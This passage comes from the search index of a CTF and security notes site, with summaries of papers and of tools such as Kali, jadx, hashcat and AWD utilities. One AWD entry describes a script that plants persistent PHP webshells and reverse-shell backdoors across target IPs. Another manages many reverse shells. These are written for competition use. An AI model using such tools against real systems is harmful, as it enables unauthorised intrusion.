"},{"location":"Paper/Mobile/Consistency%20Analysis%20of%20Data-Usage%20Purposes%20in%20Mobile%20Apps/#abstract","title":"Abstract","text":"While privacy laws and regulations require apps and services to disclose the purposes of their data collection to the users (i.e., why do they collect my data?), the data usage in an app\u2019s actual behavior does not always comply with the purposes stated in its privacy policy. Automated techniques have been proposed to analyze apps\u2019 privacy policies and their execution behavior, but they often overlooked the purposes of the apps\u2019 data collection, use and sharing. To mitigate this oversight, we propose PurPliance, an automated system that detects the inconsistencies between the data-usage purposes stated in a natural language privacy policy and those of the actual execution behavior of an Android app. PurPliance analyzes the predicate-argument structure of policy sentences and classifies the extracted purpose clauses into a taxonomy of data purposes. Purposes of actual data usage are inferred from network data traffic. We propose a formal model to represent and verify the data usage purposes in the extracted privacy statements and data flows to detect policy contradictions in a privacy policy and flow-to-policy inconsistencies between network data flows and privacy statements. Our evaluation results of end-to-end contradiction detection have shown PurPliance to improve detection precision from 19% to 95% and recall from 10% to 50% compared to a state-of-the-art method. Our analysis of 23.1k Android apps has also shown PurPliance to detect contradictions in 18.14% of privacy policies and flow-topolicy inconsistencies in 69.66% of apps, indicating the prevalence of inconsistencies of data practices in mobile apps.
"},{"location":"Paper/Mobile/Consistency%20Analysis%20of%20Data-Usage%20Purposes%20in%20Mobile%20Apps/#download","title":"Download","text":"PDF: Consistency Analysis of Data-Usage Purposes in Mobile Apps.pdf
"},{"location":"Paper/PWN/Exorcising%20Spectres%20with%20Secure%20Compilers/","title":"Exorcising Spectres with Secure Compilers","text":"[Submitted on 18 Oct 2019 (v1), last revised 10 Sep 2021 (this version, v4)]
Authors: Marco Patrignani, Marco Guarnieri
Subjects: Programming Languages (cs.PL)
"},{"location":"Paper/PWN/Exorcising%20Spectres%20with%20Secure%20Compilers/#abstract","title":"Abstract","text":"Attackers can access sensitive information of programs by exploiting the side-effects of speculatively-executed instructions using Spectre attacks. To mitigate theses attacks, popular compilers deployed a wide range of countermeasures. The security of these countermeasures, however, has not been ascertained: while some of them are believed to be secure, others are known to be insecure and result in vulnerable programs. To reason about the security guarantees of these compiler-inserted countermeasures, this paper presents a framework comprising several secure compilation criteria characterizing when compilers produce code resistant against Spectre attacks. With this framework, we perform a comprehensive security analysis of compiler-level countermeasures against Spectre attacks implemented in major compilers. This work provides sound foundations to formally reason about the security of compiler-level countermeasures against Spectre attacks as well as the first proofs of security and insecurity of said countermeasures.
"},{"location":"Paper/PWN/Exorcising%20Spectres%20with%20Secure%20Compilers/#related","title":"Related","text":"Spectre attack: https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)
Meltdown and Spectre: https://meltdownattack.com/
"},{"location":"Paper/PWN/Exorcising%20Spectres%20with%20Secure%20Compilers/#download","title":"Download","text":"PDF: Exorcising Spectres with Secure Compilers.pdf
"},{"location":"Paper/PWN/Preventing%20Dynamic%20Library%20Compromise%20on%20Node.js%20via%20RWX-Based%20Privilege%20Reduction/","title":"Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction","text":"Authors: Vasilakis, Nikos and Staicu, Cristian-Alexandru and Ntousakis, Grigoris and Kallas, Konstantinos and Karel, Ben and DeHon, Andr\u00e9 and Pradel, Michael
In: 28th ACM Conference on Computer and Communications Security (CCS 2021).
Conference: CCS ACM Conference on Computer and Communications Security
"},{"location":"Paper/PWN/Preventing%20Dynamic%20Library%20Compromise%20on%20Node.js%20via%20RWX-Based%20Privilege%20Reduction/#abstract","title":"Abstract","text":"Third-party libraries ease the development of large-scale software systems. However, libraries often execute with significantly more privilege than needed to complete their task. Such additional privilege is sometimes exploited at runtime via inputs passed to a library, even when the library itself is not actively malicious. We present Mir, a system addressing dynamic compromise by introducing a fine-grained read-write-execute (RWX) permission model at the boundaries of libraries: every field of every free variable name in the context of an imported library is governed by a permission set. To help specify the permissions given to existing code, Mir\u2019s automated inference generates default permissions by analyzing how libraries are used by their clients. Applied to over 1,000 JavaScript libraries for Node.js, Mir shows practical security (61/63 attacks mitigated), performance (2.1s for static analysis and +1.93% for dynamic enforcement), and compatibility (99.09%) characteristics and enables a novel quantification of privilege reduction.
"},{"location":"Paper/PWN/Preventing%20Dynamic%20Library%20Compromise%20on%20Node.js%20via%20RWX-Based%20Privilege%20Reduction/#download","title":"Download","text":"PDF: Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction.pdf
"},{"location":"Paper/Reverse%20Engineering/Search-based%20Approaches%20for%20Local%20Black-Box%20Code%20Deobfuscation%20Understand%2C%20Improve%20and%20Mitigate/","title":"Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate","text":"Published 2021
Authors: Gr'egoire Menguy, S\u00e9bastien Bardin, Richard Bonichon, Cauim de Souza de Lima
"},{"location":"Paper/Reverse%20Engineering/Search-based%20Approaches%20for%20Local%20Black-Box%20Code%20Deobfuscation%20Understand%2C%20Improve%20and%20Mitigate/#abstract","title":"Abstract","text":"Code obfuscation aims at protecting Intellectual Property and other secrets embedded into software from being retrieved. Recent works leverage advances in artificial intelligence (AI) with the hope of getting blackbox deobfuscators completely immune to standard (whitebox) protection mechanisms. While promising, this new field of AI-based, and more specifically search-based blackbox deobfuscation, is still in its infancy. In this article we deepen the state of search-based blackbox deobfuscation in three key directions: understand the current state-of-the-art, improve over it and design dedicated protection mechanisms. In particular, we define a novel generic framework for search-based blackbox deobfuscation encompassing prior work and highlighting key components; we are the first to point out that the search space underlying code deobfuscation is too unstable for simulation-based methods (e.g., Monte Carlo Tree Search used in prior work) and advocate the use of robust methods such as S-metaheuristics; we propose the new optimized search-based blackbox deobfuscator Xyntia which significantly outperforms prior work in terms of success rate (especially with small time budget) while being completely immune to the most recent anti-analysis code obfuscation methods; and finally we propose two novel protections against search-based blackbox deobfuscation, allowing to counter Xyntia powerful attacks.
"},{"location":"Paper/Reverse%20Engineering/Search-based%20Approaches%20for%20Local%20Black-Box%20Code%20Deobfuscation%20Understand%2C%20Improve%20and%20Mitigate/#download","title":"Download","text":"PDF: Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate.pdf
"},{"location":"Tool/BlackArch/","title":"Black Arch Linux","text":""},{"location":"Tool/BlackArch/#about","title":"About","text":"BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains 2840 tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the installation instructions. Also, news is published on our blog.
Please note that BlackArch is a relatively new project. To report bugs and request new tools, please visit the issue tracker on Github, stop by Matrix, or email us.
The BlackArch Full ISO contains multiple window managers. The BlackArch Slim ISO features the XFCE Desktop Environment. Below you will find screenshots of a few of them.
"},{"location":"Tool/BlackArch/#links","title":"Links","text":"https://blackarch.org/
"},{"location":"Tool/Kali/","title":"Kali Linux","text":"The most advanced Penetration Testing Distribution
Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics, and Reverse Engineering.
The Kali Linux penetration testing platform contains a vast array of tools and utilities. From information gathering to final reporting, Kali Linux enables security and IT professionals to assess the security of their systems.
"},{"location":"Tool/Kali/#links","title":"Links","text":"https://www.kali.org/
https://www.kali.org/tools
"},{"location":"Tool/Windows/","title":"Windows10 Penetration Suite Toolkit within Kali Linux","text":""},{"location":"Tool/Windows/#system-description","title":"System Description","text":"Based on the original Win10 Workstation 21H2 x64 image (not available for ARM devices).
Complete installation of WSL Kali Linux 2022.3.
streamline the software that comes with the system, beautify the fonts and some icons, and moderate optimization.
using single-disk file storage to improve performance.
Recommended runtime environment:
https://github.com/makoto56/penetration-suite-toolkit
"},{"location":"Tool/AWD/AWD_auto_attack/","title":"AWD_auto_attack","text":"\u4e00\u4e2a\u81ea\u52a8\u5316\u5199\u5165php\u4e0d\u6b7b\u9a6c/\u8fdb\u7a0b\u5b88\u62a4\u9a6c\uff0c\u6279\u91cf\u83b7\u5f97flag\u7684\u7ebf\u4e0b\u8d5b\u5de5\u5177
\u811a\u672c\u4f1a\u6bcf\u9694360\u79d2\u4ecefiles/payload.txt\u53d6\u51fa\u653b\u51fb\u5411\u91cf\uff0c\u653b\u51fbfiles/ip.txt\u4e2d\u7684\u6bcf\u4e2aip\uff0c\u5982\u679c\u53ef\u4ee5\u5199\u5165webshell\uff0c\u5219\u5199\u5165\u4e0d\u6b7b\u9a6c\u548c\u8fdb\u7a0b\u5b88\u62a4\u3002\u8fd4\u56de\u4e0d\u6b7b\u9a6c\u7684\u5730\u5740\u548c\u8fdb\u7a0b\u5b88\u62a4\u53cd\u5f39\u7684\u7aef\u53e3\u3002\u5982\u679c\u4e0d\u53ef\u4ee5\u5199webshell\uff0c\u5219\u6839\u636e\u914d\u7f6e\u8bfb\u53d6flag\u3002
"},{"location":"Tool/AWD/AWD_auto_attack/#_1","title":"\u7528\u6cd5","text":"python attack.py -t 360 -r 192.168.1.1 -i 3\n
"},{"location":"Tool/AWD/AWD_auto_attack/#_2","title":"\u6587\u4ef6\u5939\u7ed3\u6784","text":"\u251c\u2500\u2500 attack.py \u4e3b\u7a0b\u5e8f\n\u251c\u2500\u2500 files\n\u2502 \u251c\u2500\u2500 door.txt \u4e0d\u6b7b\u9a6c\u6587\u4ef6\n\u2502 \u251c\u2500\u2500 flag.txt \u6ca1\u6709\u7528\u7684\u6587\u4ef6\n\u2502 \u251c\u2500\u2500 ip.txt \u653b\u51fb\u7684ip\n\u2502 \u2514\u2500\u2500 payload.txt \u914d\u7f6e\u6587\u4ef6\n\u251c\u2500\u2500 lib\n\u2502 \u251c\u2500\u2500 kekong.py \u8fdb\u7a0b\u5b88\u62a4\u9a6c\u6587\u4ef6\n\u2502 \u2514\u2500\u2500 ua.txt ua\u5934\u6587\u4ef6\n\u251c\u2500\u2500 \u5176\u4ed6 \u6a21\u5757\u6587\u4ef6\n\u2514\u2500\u2500 README.txt \u672c\u6587\u4ef6\n
"},{"location":"Tool/AWD/AWD_auto_attack/#_3","title":"\u914d\u7f6e\u8bf4\u660e","text":"Github repo: https://github.com/Hecbi/awd_auto_attack
"},{"location":"Tool/AWD/AoiAWD/","title":"AoiAWD","text":"A general defense platform for AWD.
"},{"location":"Tool/AWD/AoiAWD/#_1","title":"\u7f16\u8bd1\u3001\u5b89\u88c5\u4e0e\u4f7f\u7528\u65b9\u6cd5","text":""},{"location":"Tool/AWD/AoiAWD/#_2","title":"\u6784\u5efa\u65b9\u6cd5","text":"\u53c2\u8003\u6784\u5efa\u6d41\u7a0b\u7b80\u4ecb\u8fdb\u884c\u64cd\u4f5c: BUILD.md
"},{"location":"Tool/AWD/AoiAWD/#mongodb-server","title":"MongoDB Server","text":"\u7528\u4e8e\u8bb0\u5f55\u5e9e\u5927\u7684\u6d41\u91cf\u6587\u4ef6\u7684\u6570\u636e\u5e93\uff0c\u662f\u6574\u4e2a\u7cfb\u7edf\u7684\u6838\u5fc3\u5b58\u50a8\u3002
Vue\u7f16\u5199\u7684Web\u524d\u7aef\uff0c\u7528\u6765\u6d4f\u89c8\u65e5\u5fd7\uff0c\u4ea7\u751f\u62a5\u8b66\u52a8\u753b\u7b49\u53ef\u89c6\u5316\u5c55\u793a\u3002
\u662f\u6574\u4e2a\u7cfb\u7edf\u8fd0\u884c\u7684\u6838\u5fc3\uff0c\u8d1f\u8d23\u63a2\u9488\u6570\u636e\u6536\u96c6\u5165\u5e93\u3001\u63d2\u4ef6\u751f\u547d\u5468\u671f\u7ba1\u7406\u3001Web\u524d\u7aef\u6258\u7ba1\u670d\u52a1\u3002
AoiAWD: Data Visualization Tool & Main Server\nUsage: ./aoiawd.phar [OPTIONS]\n -w [URI] HTTP server bind URI. Default: tcp://0.0.0.0:1337\n -l [URI] Log recoard server bind URI. Default: tcp://0.0.0.0:8023\n -m [URI] MongoDB server URI. Default: mongodb://127.0.0.1:27017\n -t [STRING] Access token. Default: [RANDOM]\n -h This help info\n
[2020-09-24 15:21:21] MainServer.notice: AccessToken: 0de8d57b3e91dc66 [] [] #<-- Web\u8bbf\u95ee\u5bc6\u94a5\n...\n[2020-09-24 15:21:21] Amp\\Http\\Server\\Server.info: Listening on http://0.0.0.0:1337/ [] [] #<-- Web\u524d\u7aef\u5730\u5740\n[2020-09-24 15:21:21] aoicommon\\socket\\AsyncTCPServer.info: Listening on 0.0.0.0:8023 [] [] #<-- \u63a2\u9488\u4e0a\u7ebf\u5730\u5740\n
"},{"location":"Tool/AWD/AoiAWD/#guardian","title":"Guardian","text":"\u4e00\u4e2a\u4e8c\u8fdb\u5236PWN\u7684\u5f71\u5b50\u5916\u58f3\uff0c\u5176\u539f\u7406\u662f\u5305\u88f9\u5728PWN\u9898\u76ee\u5916\u4fa7\uff0c\u5728\u6bcf\u6b21\u88ab\u542f\u52a8\u7684\u65f6\u5019\u900f\u660e\u8bb0\u5f55STDIN\u4e0eSTDOUT\u7684\u6d41\u91cf\uff0c\u5e76\u5feb\u7167PWN\u7a0b\u5e8f\u7684\u5185\u5b58\u7ed3\u6784(/proc/????/mem)\u4e0a\u4f20\u56deAoiAWD Core\u3002
Guardian: AoiAWD ELF PWNMonitor Tool\nUsage: ./guardian.phar [PATH]\n -i [PATH] Original ELF.\n -o [PATH] Path of patched ELF. Default: {$OriginalELF}.guardianed\n -s [URI] Log recoard server URI. Default: 127.0.0.1:8023\n -h This help info\n
"},{"location":"Tool/AWD/AoiAWD/#tapeworm","title":"TapeWorm","text":"\u4e00\u4e2aPHP Web\u7684\u5f71\u5b50\u5916\u58f3\uff0c\u5176\u539f\u7406\u662f\u81ea\u52a8\u6ce8\u5165\u5230\u6240\u6709PHP\u6587\u4ef6\u7684\u5934\u90e8\uff0c\u652f\u6301\u8f93\u5165\u8f93\u51fa\u6d41\u91cf\u7684\u6293\u53d6\u4e0e\u4e0a\u62a5\uff0c\u540c\u65f6\u5177\u6709\u5904\u7406\u8f93\u51fa\u6570\u636e\u7684\u80fd\u529b\uff0c\u5b9e\u73b0\u8f93\u51fa\u5185\u5bb9\u7be1\u6539\u3002
TapeWorm: AoiAWD PHP WebMonitor Tool\nUsage: ./tapeworm.phar [PATH]\n -d [PATH] WebMonitor inject dir.\n -s [URI] Log recoard server URI. Default: 127.0.0.1:8023\n -f [PATH] Inject file path. Default: {$dir}\n -h This help info\n
"},{"location":"Tool/AWD/AoiAWD/#roundworm","title":"RoundWorm","text":"\u4e00\u4e2a\u76d1\u63a7\u6587\u4ef6\u7cfb\u7edf\u548c\u8fdb\u7a0b\u7684\u7cfb\u7edf\u884c\u4e3a\u76d1\u89c6\u5668\uff0c\u5176\u539f\u7406\u662f\u626b\u63cf/proc\u6587\u4ef6\u5939\u83b7\u53d6\u5f53\u524d\u6b63\u5728\u8fd0\u884c\u7684\u6240\u6709\u8fdb\u7a0b\u7684\u4fe1\u606f\uff0c\u4ee5\u53ca\u5229\u7528Linux\u7cfb\u7edf\u7684inotify\u529f\u80fd\u5bf9\u6307\u5b9a\u6587\u4ef6\u5939\u7684\u654f\u611f\u6587\u4ef6\u64cd\u4f5c\u8fdb\u884c\u5168\u9762\u7684\u8bb0\u5f55\u3002
RoundWorm: AoiAWD Filesystem & Process Monitor Tool\nUsage: ./roundworm [OPTIONS]\n -d Running in daemon mode.\n -s [HOST] AoiAWD Probe IP. Default: 127.0.0.1\n -p [PORT] AoiAWD Probe PORT. Default: 8023\n -w [PATH] Inotify watch dir, ';' as divider. Default: /tmp\n -i [MSECOND] Process watch interval. Default: 100\n -h This help info\n
"},{"location":"Tool/AWD/AoiAWD/#_3","title":"\u5e94\u7528\u573a\u666f","text":"\u5728\u5e38\u89c1\u7684AWD\u6bd4\u8d5b\u4e2d\uff0c\u9009\u624b\u5f80\u5f80\u62e5\u6709\u4e00\u53f0\uff08\u6216\u82e5\u5e72\u53f0\uff09\u5f00\u653e\u4e86SSH\u670d\u52a1\u548c\u9898\u76ee\u670d\u52a1\u7684\u201c\u9776\u673a\u201d\u4f5c\u4e3a\u81ea\u5df1\u9632\u5b88\u7684\u9635\u5730\u3002
\u5728\u5b9e\u9645\u6bd4\u8d5b\u4e2d\uff0c\u4e3b\u529e\u65b9\u5f80\u5f80\u4f1a\u9650\u5236\u9009\u624b\u7684SSH\u6743\u9650\u5230\u4e00\u822c\u7528\u6237/\u4ec5\u53ef\u7ba1\u7406\u9898\u76ee\u7684\u6743\u9650\u3002\u5e76\u4e14\u9488\u5bf9\u4e00\u4e9b\u5e38\u89c1\u7684\u901a\u7528\u9632\u706b\u5899\u811a\u672c\uff08\u901a\u9632\u811a\u672c\uff09\u8fdb\u884c\u8f6e\u8be2\u5f0fcheck\u3002
AoiAWD\u662f\u9488\u5bf9\u4ee5\u4e0a\u573a\u666f\u7684\u9650\u5236\u548c\u75db\u70b9\u8bbe\u8ba1\u7684\uff0c\u7ec4\u4ef6\u95f4\u57fa\u4e8esocket\u901a\u4fe1\u4ee5\u4fbf\u7075\u6d3b\u90e8\u7f72\uff0c\u5177\u6709\u56fe\u5f62\u53ef\u89c6\u5316\u754c\u9762\u3002\u6240\u6709\u884c\u4e3a\u63a2\u9488\u5747\u652f\u6301\u5728\u6700\u4f4e\u7cfb\u7edf\u6743\u9650\u4e0b\u8fd0\u884c\uff0c\u4e14\u9ed8\u8ba4\u4e0d\u4f1a\u5e72\u6270\u9898\u76ee\u4e1a\u52a1\u903b\u8f91\u7684\u6b63\u5e38\u8fd0\u884c\uff0c\u53ef\u4ee5\u7ed5\u8fc7\u7edd\u5927\u90e8\u5206check\u811a\u672c\u7684\u884c\u4e3a\u68c0\u67e5\u3002\u652f\u6301\u5982\u4e0b\u7ef4\u5ea6\u7684\u884c\u4e3a\u6355\u83b7\u80fd\u529b\uff1a
\u672c\u7cfb\u7edf\u8fd8\u5185\u7f6e\u4e86\u751f\u547d\u5468\u671f\u94a9\u5b50\uff0c\u53ef\u4ee5\u9488\u5bf9\u67d0\u4e00\u6b21\u884c\u4e3a\u7684\u4ea7\u751f\u7f16\u5199\u7279\u5b9a\u7684\u63d2\u4ef6\u53bb\u5b9e\u73b0\u6d41\u91cf\u5c42\u9762\u7684\u4e34\u65f6\u70ed\u8865\u4e01\u3001\u589e\u52a0\u5927\u5c4f\u544a\u8b66\u3001\u66ff\u6362\u8f93\u51fa\u5b57\u7b26\u7b49\u64cd\u4f5c\u3002\u7cfb\u7edf\u9ed8\u8ba4\u5185\u7f6e\u4e86\u5982\u4e0b\u63d2\u4ef6\u53ef\u4f9b\u53c2\u8003\uff1a
AoiAWD \u5206\u4e3a\u516d\u4e2a\u7ec4\u4ef6\uff0c\u7ec4\u4ef6\u95f4\u4e92\u76f8\u914d\u5408\u5b9e\u73b0\u7cfb\u7edf\u7684\u5b8c\u6574\u529f\u80fd
Github repo: https://github.com/DasSecurity-HatLab/AoiAWD
"},{"location":"Tool/AWD/Auto-AWD/","title":"Auto-AWD","text":"Auto-AWD will auto run the payload and submit flag to platform every round
"},{"location":"Tool/AWD/Auto-AWD/#demo","title":"Demo","text":""},{"location":"Tool/AWD/Auto-AWD/#getting-started","title":"Getting Started","text":""},{"location":"Tool/AWD/Auto-AWD/#prerequisites","title":"Prerequisites","text":"Just install python packages: pipenv install
config.template.yml
python awd.py
Github repo: https://github.com/XuCcc/Auto-AWD#getting-started
"},{"location":"Tool/AWD/ShellCat/","title":"ShellCat","text":"\u4e00\u4e2a\u96c6\u4e2d\u7ba1\u7406\u53cd\u5f39 Shell \u7684\u7a0b\u5e8f\uff0c\u76d1\u542c\u4e00\u4e2a\u7aef\u53e3\uff0c\u7136\u540e\u6240\u6709\u7684\u53cd\u5f39 Shell \u90fd\u8fde\u5230\u8fd9\u4e2a\u7aef\u53e3\u3002
\u5982\u679c\u540c\u65f6\u6709\u5f88\u591a\u670d\u52a1\u5668\u7684\u53cd\u5f39 Shell \u8981\u8fde\uff0c\u5c31\u8981\u5f00\u5f88\u591a\u4e2a nc \u76d1\u542c\uff0c\u8fd9\u6837\u4f1a\u5f88\u9ebb\u70e6\uff0c\u56e0\u6b64\u5c31\u505a\u4e86\u8fd9\u4e2a\u9879\u76ee\u3002
Download ShellCat
"},{"location":"Tool/AWD/ShellCat/#link","title":"Link","text":"Github repo: https://github.com/restran/shellcat
"},{"location":"Tool/AWD/awd-submit-flag/","title":"awd-submit-flag","text":"The script to submit flag in the bunch.
"},{"location":"Tool/AWD/awd-submit-flag/#dependencies","title":"Dependencies","text":"python(2/3)
requests
pwntools
"},{"location":"Tool/AWD/awd-submit-flag/#quick-start","title":"Quick start","text":"modify quick_exp.py
, then run python quick_exp.py
.
Github repo: https://github.sre.pub/0xaww/awd-submit-flag
"},{"location":"Tool/AWD/awd-watchbird/","title":"awd-watchbird","text":"A powerful PHP WAF for AWD
"},{"location":"Tool/AWD/awd-watchbird/#how-to-use","title":"How to use","text":"php watchbird.php --install [Web\u76ee\u5f55]
, \u5b89\u88c5\u5668\u5c06\u8f93\u51fa\u5b89\u88c5\u4e86watchbird\u7684\u6587\u4ef6\u8def\u5f84?watchbird=ui
\u6253\u5f00watchbird\u63a7\u5236\u53f0, \u521b\u5efa\u4e00\u4e2a\u521d\u59cb\u5bc6\u7801php watchbird.php --uninstall [Web\u76ee\u5f55]
, \u5982\u679c\u60a8\u591a\u6b21\u8fd0\u884c\u4e86\u5b89\u88c5, \u8bf7\u591a\u6b21\u8fd0\u884c\u5378\u8f7d\u76f4\u5230\u5378\u8f7d\u5668\u65e0\u8f93\u51fagit clone https://github.com/leohearts/awd-watchbird.git
pyhton3 pack.py
\u5c06\u6e90\u7801\u6253\u5305\u4e3a\u5355\u6587\u4ef6Github repo: https://github.sre.pub/leohearts/awd-watchbird
"},{"location":"Tool/AWD/flower/","title":"flower","text":"TCP flow analyzer with sugar for Attack/Defense CTF
"},{"location":"Tool/AWD/flower/#what-is-it","title":"What is it?","text":"Flower is an automatic packet analyzer made by Ca' Foscari University team for the CyberChallenge attack/defense CTF held in Rome on June 27th, 2018.
This tool was written in less than ten days, but it works! Every contribution is welcome!
Presentation of Flower (from min 7:30), and general introduction to CTFs at ESC2K18 in Italian:
"},{"location":"Tool/AWD/flower/#features","title":"Features","text":"k
and j
to navigate the list)Clone the repo, enter in the directory, and just run docker-compose up
, and after a while, you will find flower at http://localhost:3000.
For the flag regex, modify REACT_APP_FLAG_REGEX
in docker-compose.yml
.
The build will automatically import the test pcaps.
To enter in the service to import other pcaps, run docker exec -it flower_flower-python_1 /bin/bash
(if the flower is in a folder with a different name, modify the prefix after -it
). The container shares the /shared
folder with the host. Put the pcap files inside this folder and use python services/importer.py /shared/pcap_file_here
from the container to import pcaps to flower.
git clone https://github.com/secgroup/flower cd flower npm install pip install -r services/requirements.txt
(Optional) Set the following environment variables:
REACT_APP_FLOWER_MONGO
IP of the host that will have flower db active (MongoDB)
REACT_APP_FLOWER_SERVICES
IP of the host that will have services activeREACT_APP_FLAG_REGEX
regex that matches flags.
Mongodb is required on the same machine that run the services. To start it: sudo mongod --dbpath /path/to/mongodb/db --bind_ip 0.0.0.0
./run.sh
cd services ./run_ws.sh
Once everything has been started, the flower should be accessible at the address of the machine that started it on port 3000.
"},{"location":"Tool/AWD/flower/#pcap-import","title":"Pcap import","text":"You must first install pynids from here. The pip version is outdated! Good luck with the installation. Then, you can import pcaps into MongoDB by executing the provided script importer.py
as follows:
cd services\n./importer.py pcap_file.pcap\n
You can find a test_pcap in services/test_pcap
. For a quick demo, run ./importer.py test_pcap/dump-2018-06-27_13:25:31.pcap
If you are going to use the flower in a CTF, remember to set up the firewall in the most appropriate way, as the current implementation does not use other security techniques.
If you ignore this, everybody will be able to connect to your database and steal all your flags!
"},{"location":"Tool/AWD/flower/#link","title":"Link","text":"Github repo: https://news.topnotch.works/host-https-github.com/secgroup/flower
"},{"location":"Tool/Android/APKTool/","title":"APKTool","text":"A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications. It also makes working with an app easier because of the project like file structure and automation of some repetitive tasks like building apk, etc.
It is NOT intended for piracy and other non-legal uses. It could be used for localizing, adding some features or support for custom platforms, analyzing applications and much more.
$ apktool d test.apk\nI: Using Apktool 2.7.0 on test.apk\nI: Loading resource table...\nI: Decoding AndroidManifest.xml with resources...\nI: Loading resource table from file: 1.apk\nI: Regular manifest package...\nI: Decoding file-resources...\nI: Decoding values */* XMLs...\nI: Baksmaling classes.dex...\nI: Copying assets and libs...\nI: Copying unknown files...\nI: Copying original files...\n$ apktool b test\nI: Using Apktool 2.7.0 on test\nI: Checking whether sources has changed...\nI: Smaling smali folder into classes.dex...\nI: Checking whether resources has changed...\nI: Building resources...\nI: Building apk file...\nI: Copying unknown files/dir...\n
"},{"location":"Tool/Android/APKTool/#features","title":"Features","text":"resources.arsc
, classes.dex
, 9.png.
and XMLs
)2.1.0
in favor of IdeaSmali)https://ibotpeaches.github.io/Apktool/
https://github.com/iBotPeaches/Apktool
"},{"location":"Tool/Android/LDPlayer/","title":"LDPlayer","text":"LDPlayer is a free Android emulator to play mobile games on a PC with a mouse and keyboard. It provides the fastest performance for Android gaming.
"},{"location":"Tool/Android/LDPlayer/#links","title":"Links","text":"https://en.ldplayer.net/
"},{"location":"Tool/Android/dex2jar/","title":"dex2jar","text":"Tools to work with android .dex and java .class files.
sh d2j-dex2jar.sh -f ~/path/to/apk_to_decompile.apk
And the output file will be apk_to_decompile-dex2jar.jar
.
https://github.com/pxb1988/dex2jar
"},{"location":"Tool/Android/jadx/","title":"jadx","text":"jadx - Dex to Java decompiler
Command line and GUI tools for producing Java source code from Android Dex and Apk files
\u2757\u2757\u2757 Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds
Main features:
AndroidManifest.xml
and other resources from resources.arsc
jadx-gui features:
Jadx-gui key bindings can be found here
See these features in action here: jadx-gui features overview
"},{"location":"Tool/Android/jadx/#download","title":"Download","text":"After download unpack zip file go to bin
directory and run:
jadx
- command line versionjadx-gui
- UI versionOn Windows run .bat
files with double-click Note: ensure you have installed Java 11 or later 64-bit version. For Windows, you can download it from oracle.com (select x64 Installer).
sudo pacman -S jadx
brew install jadx
flatpak install flathub com.github.skylot.jadx
You can use jadx in your java projects, check details on wiki page
"},{"location":"Tool/Android/jadx/#build-from-source","title":"Build from source","text":"JDK 8 or higher must be installed:
git clone https://github.com/skylot/jadx.git\ncd jadx\n./gradlew dist\n
(on Windows, use gradlew.bat
instead of ./gradlew
)
Scripts for run jadx will be placed in build/jadx/bin
and also packed to build/jadx-<version>.zip
https://github.com/skylot/jadx
"},{"location":"Tool/Cryptography/Ciphey/","title":"Ciphey","text":"\u26a1 Automatically decrypt encryptions without knowing the key or cipher, decode encodings, and crack hashes \u26a1
"},{"location":"Tool/Cryptography/Ciphey/#what-is-this","title":"\ud83e\udd14 What is this?","text":"Input encrypted text, get the decrypted text back.
\"What type of encryption?\"
That's the point. You don't know, you just know it's possibly encrypted. Ciphey will figure it out for you.
Ciphey can solve most things in 3 seconds or less.
Ciphey aims to be a tool to automate a lot of decryptions & decodings such as multiple base encodings, classical ciphers, hashes or more advanced cryptography.
If you don't know much about cryptography, or you want to quickly check the ciphertext before working on it yourself, Ciphey is for you.
The technical part. Ciphey uses a custom built artificial intelligence module (AuSearch) with a Cipher Detection Interface to approximate what something is encrypted with. And then a custom-built, customisable natural language processing Language Checker Interface, which can detect when the given text becomes plaintext.
No neural networks or bloated AI here. We only use what is fast and minimal.
And that's just the tip of the iceberg. For the full technical explanation, check out our documentation.
"},{"location":"Tool/Cryptography/Ciphey/#features","title":"\u2728 Features","text":"https://github.com/Ciphey/Ciphey
"},{"location":"Tool/Cryptography/RSAWiener/","title":"RSA Wiener Attack","text":"Used to attack RSA when the exponent is too small or too large.
"},{"location":"Tool/Cryptography/RSAWiener/#link","title":"Link","text":"GitHub repo: https://github.com/pablocelayes/rsa-wiener-attack
"},{"location":"Tool/Cryptography/SageMathCell/","title":"SageMathCell","text":"SageMathCell project is an easy-to-use web interface to a free open-source mathematics software system SageMath. You can help SageMath by becoming a sponsor.
It allows embedding Sage computations into any webpage: check out our short instructions, a comprehensive description of capabilities, or Notebook Player to convert Jupyter notebooks into dynamic HTML pages!
Resources for your computation are provided by Departamento de Matem\u00e1ticas, Universidad Aut\u00f3noma de Madrid. You can also set up your own server.
"},{"location":"Tool/Cryptography/SageMathCell/#homepage","title":"Homepage","text":"https://sagecell.sagemath.org/
"},{"location":"Tool/Cryptography/hashcat/","title":"HashCat","text":"Crack hash to find the plain text.
"},{"location":"Tool/Cryptography/hashcat/#abstract","title":"Abstract","text":"Official link: https://hashcat.net/hashcat/
"},{"location":"Tool/Forensics/BlindWatermark/","title":"Blind Watermark","text":"Some of the blind watermark challenges have 2 very similar pictures.
But occasionally, we don't have the origin picture.
"},{"location":"Tool/Forensics/BlindWatermark/#link","title":"Link","text":"GitHub repo: https://github.com/guofei9987/blind_watermark
"},{"location":"Tool/Forensics/ProcessMonitor/","title":"Process Monitor","text":"Check the system calls for process under Windows system.
"},{"location":"Tool/Forensics/ProcessMonitor/#abstract","title":"Abstract","text":"Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such as session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.
"},{"location":"Tool/Forensics/ProcessMonitor/#link","title":"Link","text":"Official document: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
Download: https://download.sysinternals.com/files/ProcessMonitor.zip
"},{"location":"Tool/Forensics/Tracewrangler/","title":"Tracewrangler","text":"Yet another PCAP file monitor.
